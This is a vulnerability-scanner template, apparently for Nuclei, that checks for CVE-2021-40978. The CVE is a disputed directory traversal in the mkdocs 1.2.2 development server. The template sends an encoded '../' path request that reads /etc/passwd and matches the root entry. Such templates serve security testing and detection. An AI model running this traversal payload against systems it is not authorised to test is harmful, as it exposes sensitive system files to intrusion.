id: CVE-2021-40978

info:
  name: mkdocs 1.2.2 built-in dev-server allows directory traversal
  author: pikpikcu
  severity: high
  reference:
    - https://github.com/nisdn/CVE-2021-40978
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40978
  tags: cve,cve2021,mkdocs,lfi
  description: "** DISPUTED ** The mkdocs 1.2.2 built-in dev-server allows directory traversal using the port 8000, enabling remote exploitation to obtain :sensitive information. NOTE: the vendor has disputed this as described in https://github.com/mkdocs/mkdocs/issues/2601.] and https://github.com/nisdn/CVE-2021-40978/issues/1."
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.50
    cve-id: CVE-2021-40978
    cwe-id: CWE-22

requests:
  - method: GET
    path:
      - '{{BaseURL}}/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:[x*]:0:0:"
        part: body

      - type: status
        status:
          - 200